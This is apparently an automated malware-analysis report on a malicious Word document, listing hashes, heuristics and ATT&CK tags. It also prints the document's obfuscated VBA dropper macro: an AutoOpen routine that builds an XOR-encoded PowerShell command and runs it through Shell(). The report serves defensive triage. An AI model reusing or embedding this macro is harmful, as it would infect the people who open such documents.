Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 74e0061aee58bd36…

MALICIOUS

Office (OLE)

239.8 KB Created: 2018-06-29 11:45:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: a74c14e00b2da4a336e27828c3c33fd9 SHA-1: 1574e6576e75991f4e02d4e9707fddbef5a154f5 SHA-256: 74e0061aee58bd36d7bec66a14e4d2dc00e629c07e3ed315dea5defc2a6f7545
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Word document containing a VBA macro. The macro includes a Shell() call, which is a critical heuristic firing, indicating an attempt to execute arbitrary commands. The AutoOpen macro is present and attempts to run another macro, 'bjQiNRu', suggesting a multi-stage execution process. The presence of obfuscated VBA code and the critical heuristic for Shell() usage strongly suggest the document is a dropper designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6596498-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6596498-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    KcvTj = nnnHd - GGjvAQ / (AKOkO + Oct(mdnib) - 44105 + Log(hnbpX))
ulwssUHKfm = ParYHXzQaz + Shell(jLYDJYuiQFQ + LNrEfs + jwSlVzmAf, 446986336 - 446986336) + GpEBiilt
WKAwnw = hDbbsR = 54805 / XAwsh + 14272 / ChrW(89599) / zFMkYt + ChrW(itXPu) * 97223 + ChrB(1337 * CInt(ankdi) * 4069 - Hex(pKufK)) + fzqdbi - Int(rbLFo) * (zhVBha - mVEwd)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13184 bytes
SHA-256: 04bf90f2cc1039a2e539b0818ac99c240c4602215f5df869097d43317d412878
Detection
ClamAV: No threats found
Obfuscation or payload: likely
227 of 407 identifiers look randomly generated (e.g. 'sdnporjcSwRrTO') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rVXlinhiLiVaC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sdnporjcSwRrTO"
Function jCiIrHaKOJ()
On Error Resume Next
oTmqQi = dHCHZs = 11534 / AqoRI + 37933 / ChrW(13227) / bjJiX + ChrW(jlqKbU) * 41757 + ChrB(51695 * CInt(ulNWNP) * 39657 - Hex(Tmdmk)) + AWKhQL - Int(GACza) * (RPQlA - utjuz)
nHZpvu = wEqnRm - PpokK / (mwDtD + Oct(cNpmT) - 54561 + Log(ocDjQ))
FqszCf = WcWmr + Chr(vzDuSIXC + vbKeyP + iUKHtD) + "owe" + "rs"
IFdMa = wzvJEF = 92829 / ZHpDfm + 91038 / ChrW(35197) / GRXKEw + ChrW(LJXfCT) * 17180 + ChrB(74265 * CInt(SEBhDl) * 63280 - Hex(snhnA)) + iJpZX - Int(DQuARw) * (iQjGwC - NhtlbU)
ASQRqL = tWNtl - ZBJAPF / (wGMhjk + Oct(mwPEzC) - 18453 + Log(wijbm))
ouTMMK = MXtWW = 58283 / tGiiFl + 40814 / ChrW(94826) / IvjiW + ChrW(fRnSD) * 19403 + ChrB(23519 * CInt(VWaZaY) * 43100 - Hex(bXXJsv)) + WBRrn - Int(QcbdK) * (ciDach - NLfLv)
kaULL = JjPRR - SYhEtw / (PjuzXz + Oct(biiqrp) - 43406 + Log(DkwRQ))
jCiIrHaKOJ = jBijrJNo + FqszCf + kpKitdj + SrTjS + UEKdtNz
AIMRm = JIfJRj = 30907 / sqbwOP + 72876 / ChrW(59397) / ZZbPA + ChrW(zHcif) * 28047 + ChrB(46081 * CInt(hlIlSz) * 46973 - Hex(KZqaN)) + zCAiV - Int(nrKZJ) * (hCowkR - ItLFd)
fdAPC = aIoHZ - BsRtpa / (cfRWkM + Oct(ZFEPnz) - 43745 + Log(qdncI))
End Function
Sub AutoOpen()
On Error Resume Next
iituO = jYDOD = 72173 / BnOHP + 5659 / ChrW(24881) / UDZTcK + ChrW(CoGNRh) * 88700 + ChrB(1089 * CInt(bVvFB) * 4860 - Hex(LCaVXb)) + XZvCO - Int(TamGtW) * (IqUoG - qfuHHz)
ONRCo = aSinV - fZEBjo / (inhVi + Oct(OklqdS) - 78292 + Log(wNGIk))
Application.Run "bjQiNRu", jCiIrHaKOJ
bvwaC = JaNmdL = 35895 / SijsjQ + 50142 / ChrW(64562) / bEVjbj + ChrW(zszXl) * 67978 + ChrB(82944 * CInt(SjcnX) * 98664 - Hex(SztlR)) + OZTrtG - Int(VhRhr) * (olLvJ - nZZzom)
pOmWm = SjjSjj - cWlkSu / (VLbGEk + Oct(iGoai) - 10003 + Log(QGjLir))
End Sub
Function bjQiNRu(LNrEfs)
On Error Resume Next
VESfP = GRooh = 87627 / oinfSC + 76594 / ChrW(76434) / vsBaI + ChrW(PCZnD) * 45935 + ChrB(1707 * CInt(JapTv) * 25372 - Hex(zslPu)) + TDtcDl - Int(IZioIu) * (lPuqR - XdEcis)
HwAPLO = vwjKzm - wjwAK / (Ljjwu + Oct(HNpwQt) - 22243 + Log(nLZOd))
TFmijr = iZuIbY = 82537 / bMCVM + 13794 / ChrW(24657) / AQQnc + ChrW(mKhXQ) * 65199 + ChrB(10891 * CInt(BODTZo) * 90362 - Hex(oVUvMz)) + tQnGz - Int(RSDCQn) * (bEHJJi - oRtiY)
KcvTj = nnnHd - GGjvAQ / (AKOkO + Oct(mdnib) - 44105 + Log(hnbpX))
ulwssUHKfm = ParYHXzQaz + Shell(jLYDJYuiQFQ + LNrEfs + jwSlVzmAf, 446986336 - 446986336) + GpEBiilt
WKAwnw = hDbbsR = 54805 / XAwsh + 14272 / ChrW(89599) / zFMkYt + ChrW(itXPu) * 97223 + ChrB(1337 * CInt(ankdi) * 4069 - Hex(pKufK)) + fzqdbi - Int(rbLFo) * (zhVBha - mVEwd)
ZmPBq = jfzwhm - QzWzc / (pwFiUI + Oct(FmAJt) - 88051 + Log(PIObZV))
End Function

Function kpKitdj()
On Error Resume Next
tcnfV = zFfQW - BBtAOp / (utlmJu + Oct(SWvWG) - 51836 + Log(THNfT))
ozjtKt = MjidLk = 45813 / Ykjpa + 28385 / ChrW(75734) / Mtizu + ChrW(YkNsj) * 5187 + ChrB(68784 * CInt(OVZpA) * 88964 - Hex(ZNJnvA)) + UrKhAq - Int(zjwuG) * (tPTAV - EWOQk)
jinwZnN = "hell" + "  [StRI" + "nG]::JO" + "iN" + Chr(40) + " '', " + Chr(40) + " '56W1" + "18&102" + "K73{33" + "b114e" + "121m107K" + "49Z1"
tcHYk = IUNfwf - pqRdta / (KCnrrU + Oct(rmDvB) - 64447 + Log(arrGjf))
mvBcd = mwTfDH = 47545 / qUHpil + 24230 / ChrW(84044) / JIJvHi + ChrW(fVvdqw) * 83942 + ChrB(17605 * CInt(PHJzq) * 85474 - Hex(hnjwA)) + BhwuT - Int(UTwiQY) * (iMuwrd - jOdDsl)
sLTrKTofYrT = "15W126e1" + "18K1" + "21{127A" + "104_6" + "0K82" + "{121K" + "104&" + "50b75K1" + "21m126W9" + "5_112Z11" + "7e121A1" + "14{104e3"
zKLCf = wzwHXQ - rmRkz / (QZpLr + Oct(vkEYs) - 80796 + Log(mjiuC))
OzPzMi = pzAJS = 89897 / rpPjP + 83316 / ChrW(31712) / JjuzXO + ChrW(aXNuzw) * 6241 + ChrB(45120 * CInt(fqtBoD) * 72800 - Hex(mVjBbZ)) + nbjpj - Int(OGuqX) * (wXvKnR - AYzOt)
kiAfjI = "9A56&78K" + "72m120A33" + "b59A116" + "W104" + "e104_10" + "8W38W" + "51m51&107"
jzZBUa = wfTEnL - rwGzYs / (UvdZXR + Oct(rikQb) - 9647 + Log(zZLwW))
PsZfA = Xuaak = 68238 / wDcjIz + 38617 / ChrW(84494) / NtZDRL + ChrW(dJsOjk) * 36226 + ChrB(83114 * CInt(ovTQVJ) * 37429 - Hex(ErJJDZ)) + iMfffG - Int(zMQwRs) * (IOklm - DAbOD)
MWMdoscdHiZ = "W107m107" + "&50_113m" + "125&123e1" + "21e114K10" + "4m115" + "_46&1" + "00K10" + "8_121" + "e110_10" + "4W50_127_" + "115_"
aOvBJ = tMDnG - nCwrik / (wojkQj + Oct(wzjAY) - 6966 + Log(hiGpR))
wpoJwa = cHucqK = 99717 / DwcwI + 57099 / ChrW(10275) / joLGQu + ChrW(vDBKi) * 59807 + ChrB(13951 * CInt(czSdj) * 76470 - Hex(ZQFGt)) + jzOEqr - Int(VkThh) * (zYpAVk - dzwpAV)
mjKrjGUAbT = "113m5" + "1m119" + "W68&110b" + "90Z45m81" + "b94K51K92" + "W116b104A" + "104m108" + "A38Z51e5" + "1W107W10" + "7_107" + "b50b"
DYBWv = UukOr - cnJrw / (fniiiV + Oct(bGisK) - 65149 + Log(kVXYI))
jrmVB = hwuiHU = 9517 / WVrdi + 33955 / ChrW(76349) / tcCPC + ChrW(GXrCM) * 25111 + ChrB(27924 * CInt(BOiWC) * 48571 - Hex(VbjTz)) + MncKAk - Int(zKSmrO) * (WmFHrr - TcvIP)
nhQcGALGUzp = "111Z127&" + "105b11" + "2_108" + "{121e" + "101K50" + "Z118&113K" + "122W120Z" + "121{10" + "6A50Z" + "127&115&1"
kwwQR = QBGDi - mrjUh / (EOHYz + Oct(ncwSED) - 53159 + Log(tzKPs))
qmtwmX = vPDFb = 62876 / dbfYpf + 96898 / ChrW(39545) / mBahpb + ChrW(PkjAE) * 85638 + ChrB(88177 * CInt(sLGcMC) * 54802 - Hex(diYJp)) + jczWoH - Int(LqZUHo) * (sjukh - jiYVIu)
OMYqPFnNwWR = "13{5" + "1b73m" + "84e1" + "05Z46A" + "51K92m11" + "6&10" + "4m104A" + "108m38b51" + "&51{107b1" + "07A1" + "07&50Z" + "127A116K"
iCqMKz = iCttur - RDSlj / (ZjMuI + Oct(VhZjB) - 18571 + Log(vwTso))
CqYTl = LhvCAK = 83155 / DjCLz + 18974 / ChrW(55471) / UzzCbU + ChrW(ojRcY) * 12621 + ChrB(25913 * CInt(nmUcGj) * 89009 - Hex(uMOKM)) + wPifMW - Int(WjBrWH) * (ihSGq - OZfhWJ)
Mutzdzpvq = "105{110&" + "127_116" + "b114{" + "121A" + "107_" + "115A110e1"
kpKitdj = jinwZnN + sLTrKTofYrT + kiAfjI + MWMdoscdHiZ + mjKrjGUAbT + nhQcGALGUzp + OMYqPFnNwWR + Mutzdzpvq
ibEvm = XBRTO - NLHHod / (aQjktm + Oct(uvfJM) - 41124 + Log(UQbZSI))
ZOmjnZ = zczVN = 91450 / jBvpwE + 81855 / ChrW(52607) / ISsjq + ChrW(SzKdEJ) * 20992 + ChrB(73424 * CInt(YUvUt) * 69470 - Hex(WFXTu)) + iwkqw - Int(iOvpV) * (KzKkr - YPrRbI)
End Function
Function SrTjS()
On Error Resume Next
zBhTXi = uTMlqG - GiuVBG / (zZHioY + Oct(zBvwV) - 47531 + Log(isjCFs))
wCsjwr = RQHCnw = 65332 / wqKJY + 35027 / ChrW(53635) / IGsRt + ChrW(fiWVBc) * 27536 + ChrB(81874 * CInt(zvlci) * 46479 - Hex(ZZtPR)) + OJjLWj - Int(ZDZjWl) * (jRuFq - mNNmp)
JGoCdQGHalu = "12&121A" + "125W114" + "W111A50_1" + "15{110e" + "123m51_7" + "7W107A8" + "9K79m70{5" + "1A92&11"
NNQTPA = pHHDkr - EcXYi / (QSjlU + Oct(YIJrCo) - 27971 + Log(EzOBt))
FTjEzJ = HTskj = 8485 / bZojFU + 91184 / ChrW(35401) / oUhwX + ChrW(KTwNCu) * 11989 + ChrB(52941 * CInt(pPGrhD) * 23313 - Hex(UkGSuT)) + YvmCrj - Int(LiUJY) * (VCEVzO - qODkNc)
juZEsWq = "6e104W10" + "4&108W38K" + "51b51_10" + "7m107" + "b107m50" + "{115b" + "123e112"
ZTHEP = LHJpi - TIjir / (QPdwoz + Oct(IcmAl) - 39148 + Log(KmXht))
qjuwR = WWmmj = 23415 / ESujfw + 66564 / ChrW(52738) / fPFOVq + ChrW(GNViF) * 64506 + ChrB(68645 * CInt(jTHKC) * 41091 - Hex(LpFJi)) + QjCLz - Int(BfrCr) * (DjYKhd - iXwLr)
SXXmDuK = "A117" + "W108" + "W105" + "_111b50" + "{127b1" + "15_11"
FSFiap = wCsuKc - jbUaOX / (ppbFp + Oct(bVkcK) - 73582 + Log(MDQIIr))
ctjYtr = rNUqzj = 8285 / cuafHD + 12825 / ChrW(64072) / GYVHI + ChrW(kwoQPX) * 67601 + ChrB(9519 * CInt(zGJvH) * 92216 - Hex(FQdis)) + ClXVMH - Int(VWmij) * (rLPoXt - VhBuLZ)
bYYrPh = "3b51{40Z4" + "3m12" + "0e44m68W" + "51b92b116" + "_104m" + "104A108"
OHXpt = EXcuSp - qMXEFX / (VhHmHo + Oct(RrEMR) - 29478 + Log(bwmwZ))
vIWuMQ = mFhTz = 5243 / QcdYk + 74147 / ChrW(21896) / SQkYwa + ChrW(KLSXaI) * 63768 + ChrB(36945 * CInt(sYzpPD) * 16957 - Hex(jEwbn)) + XElUqG - Int(nScGu) * (BacQj - vfLmW)
JvvQcnp = "K38_" + "51{51m10" + "7m107Z10" + "7W50&108Z" + "116b11" + "7&112{126" + "&125b127" + "{119b121&" + "111Z50&1"
ucwwN = PipLs - FTcXG / (rnjJj + Oct(TZCzw) - 6351 + Log(jwjawJ))
CXtGHn = swYaGP = 76506 / jAkhFR + 74361 / ChrW(60038) / iAZfP + ChrW(lGjYf) * 95258 + ChrB(78496 * CInt(iULUV) * 38303 - Hex(GBbSuw)) + RUjPs - Int(YHNzc) * (mUZrHt - zFNtwR)
UFCnSkFs = "27W1" + "15{113m" + "51K77A1" + "05{119" + "b82{10" + "1W74" + "m78K5" + "1_59W5" + "0m79K" + "108e112" + "A117Z1"
ComXp = dzVDfs - jtPKk / (VBVwlu + Oct(vJJBiW) - 89688 + Log(sBRvEq))
jITEf = wrnYX = 65432 / fFiil + 91970 / ChrW(75707) / oSPllk + ChrW(RYsfO) * 82916 + ChrB(58988 * CInt(TcdRMb) * 71793 - Hex(cOwwiU)) + pAVkv - Int(EStiqa) * (frUQA - KBHib)
asktnHVhp = "04{52" + "A59{" + "92K59A5" + "3{39&5" + "6b88e" + "70_85&" + "60Z33A6" + "0e59A36"
YKKdIp = fiwlzO - CPWojD / (RiTlqG + Oct(tnJGj) - 12230 + Log(PwZVw))
ctcLc = RbvqX = 82371 / AhpBc + 18920 / ChrW(85884) / nUVIz + ChrW(qrwPj) * 94724 + ChrB(15548 * CInt(bWZSV) * 58345 - Hex(OKKfoh)) + MPSuz - Int(pZHCim) * (kwbrtz - FSbJnO)
rJZWH = "e44K46b" + "59e39b" + "56b93" + "&104b79m" + "33&56W" + "121&" + "114e106b3"
MwdsrK = MOOal - jLoPh / (oGallV + Oct(EOdjt) - 84952 + Log(ZHtwk))
FOfFti = CDFVEK = 80231 / bqrSj + 47720 / ChrW(71701) / mfQITn + ChrW(zSnIr) * 6236 + ChrB(6733 * CInt(sHODq) * 66241 - Hex(CYQJnG)) + DMWTTs - Int(caYPk) * (CQCzE - czKUV)
CiZFDY = "8K104A12" + "1{11" + "3b10" + "8W55m5" + "9W64W5" + "9W55b56W8" + "8K70A" + "85&55K59" + "K50&" + "121m10" + "0A121A" + "59m39"
ujEUOO = lnQpT - tSdnXS / (GrtmMO + Oct(PQHwdn) - 88960 + Log(hPnSMk))
OOXtoq = ZUMoj = 55716 / jomNsW + 48278 / ChrW(10250) / jfUijw + ChrW(RriwcZ) * 65409 + ChrB(62642 * CInt(vEtkCo) * 98606 - Hex(NVkVj)) + OJIdo - Int(THhas) * (zFiBGG - QzRjU)
KoClj = "&122&115e" + "110A" + "121W125" + "K127e11" + "6{52e56" + "W72&7" + "8{81Z60e1" + "17K114" + "A60&56K78" + "&72m1" + "20W53"
UkHqQV = iOHDjV - vBaFnN / (qmVNd + Oct(VHdzu) - 9742 + Log(hYGLHo))
JpoiK = mmJtN = 54684 / DmRIAk + 84249 / ChrW(40143) / TMfBwl + ChrW(AEFHw) * 64562 + ChrB(9524 * CInt(dDQcdz) * 5444 - Hex(LRrvz)) + SbtpdV - Int(CIOBYJ) * (HUfVhT - wUPriQ)
XojTKr = "W103b10" + "4&110m101" + "e103&" + "56A1" + "18A10" + "2{73Z5" + "0Z88_115b" + "107K114m1" + "12A11" + "5K125A"
SrTjS = JGoCdQGHalu + juZEsWq + SXXmDuK + bYYrPh + JvvQcnp + UFCnSkFs + asktnHVhp + rJZWH + CiZFDY + KoClj + XojTKr
zJbwpw = fdibWO - vvVoo / (PYDLj + Oct(rlWMz) - 73600 + Log(aQzrK))
dGXRw = CBSolv = 5313 / dzmcnU + 34020 / ChrW(43719) / JIiptW + ChrW(PzwLdk) * 27816 + ChrB(7500 * CInt(izTop) * 23621 - Hex(CrEaUj)) + UkHVN - Int(TJJiX) * (nwrKt - iMIWwh)
End Function
Function UEKdtNz()
On Error Resume Next
ErTMot = BcSjcN - UCVBnJ / (rwBZN + Oct(fZGSoj) - 33109 + Log(BQOBzG))
iwtKR = nfinR = 73672 / JQfZFQ + 34904 / ChrW(60040) / oJRhp + ChrW(okvDLV) * 11269 + ChrB(40682 * CInt(Nmvsi) * 15536 - Hex(FZOcIu)) + tbsodH - Int(tjaqrw) * (NbNDvJ - TUZAz)
wTipPWQa = "120m90_" + "117&11" + "2b121" + "{52Z56" + "A72W78&8" + "1W48" + "K60A56" + "e93m104e7"
nKmfa = JCrih - vvRdN / (FHPMG + Oct(lftVv) - 98665 + Log(WcWiN))
lIjbhX = RzXMnj = 24412 / RnbIMb + 42515 / ChrW(283) / vwGTlG + ChrW(qCRGq) * 40813 + ChrB(95684 * CInt(NpIGub) * 85698 - Hex(TIzbao)) + OPInfl - Int(XftXW) * (SGCwpu - XTPFRD)
OIbWMkHSurm = "9{53&" + "39A79Z" + "104K" + "125_110A1" + "04e4" + "9A76W110" + "Z115W1" + "27W121m11" + "1{111_60" + "b56&93b"
OXCvL = IBNuc - XYstbw / (jELOAu + Oct(jRZcs) - 23857 + Log(mzQEbc))
NzUbPO = OXzzF = 80061 / iLvwa + 7040 / ChrW(69420) / uInHsf + ChrW(pYREl) * 431 + ChrB(49882 * CInt(jAwmoO) * 60738 - Hex(QFzUKj)) + EJISC - Int(nHWoD) * (ahBECI - PwbRvf)
NHMtMrhwHli = "104&79" + "A39{126" + "K110A121" + "&125_119b" + "39m97_" + "127W125e"
HJcOGI = VkZswa - IDNzbE / (CccYw + Oct(jHaAEB) - 70401 + Log(ZcwTrw))
YZUGb = kCWFA = 36244 / zKCIB + 574 / ChrW(99336) / rblCQ + ChrW(kacoAV) * 65561 + ChrB(15553 * CInt(rIZabj) * 89975 - Hex(cZBnc)) + HDadlh - Int(iELaAc) * (Rzzcrj - AcaYk)
JDkMwXpC = "104K127" + "K116Z1" + "03Z97" + "A97'.sPl" + "it" + Chr(40) + " " + "'_mAZK" + "{&Wbe" + "' " + Chr(41) + "| Fo" + "Reac" + "h-objeCT{"
zwjaB = pwLVE - QzCFG / (mMoOf + Oct(vTDQzH) - 63145 + Log(lHYCk))
jZFjQ = CwOazj = 92383 / jzqJM + 92300 / ChrW(26886) / Ynvqp + ChrW(bRfjHb) * 43166 + ChrB(6145 * CInt(rjwjK) * 23223 - Hex(GUoltc)) + KiALW - Int(RlaJU) * (zuOYU - dcwdQP)
NpCuk = " [Cha" + "R] " + Chr(40) + " $_ " + "-bXor " + Chr(34) + "0x1C" + Chr(34) + Chr(41) + " }" + Chr(41) + " " + Chr(41) + "|" + " Iex"
fiVoi = lQlRY - rabsu / (QfUNP + Oct(TUnOti) - 40463 + Log(fYaXCt))
YFiXm = JSEia = 43819 / WdCPjT + 76653 / ChrW(58423) / AYwEoq + ChrW(IaAVv) * 65497 + ChrB(62585 * CInt(RcFjdP) * 40671 - Hex(dPJkjr)) + iwjqFG - Int(hkTzv) * (aBvoz - wGNEA)
qBODjSdPSAp = ""
UEKdtNz = wTipPWQa + OIbWMkHSurm + NHMtMrhwHli + JDkMwXpC + NpCuk + qBODjSdPSAp
ABjfUb = srAhc - GfiXv / (qtvhZ + Oct(wTJRi) - 84948 + Log(qKwnY))
NLiWI = jzWsFM = 85778 / UwRTuV + 18725 / ChrW(33824) / XCwfj + ChrW(AEqBO) * 5114 + ChrB(38691 * CInt(rHwnXR) * 41991 - Hex(WcEKaI)) + IYwwo - Int(TLzwi) * (nPLdk - IaLvi)
End Function


Attribute VB_Name = "FFzlnPOK"

Open this report in the interactive analyzer, or submit your own file for analysis.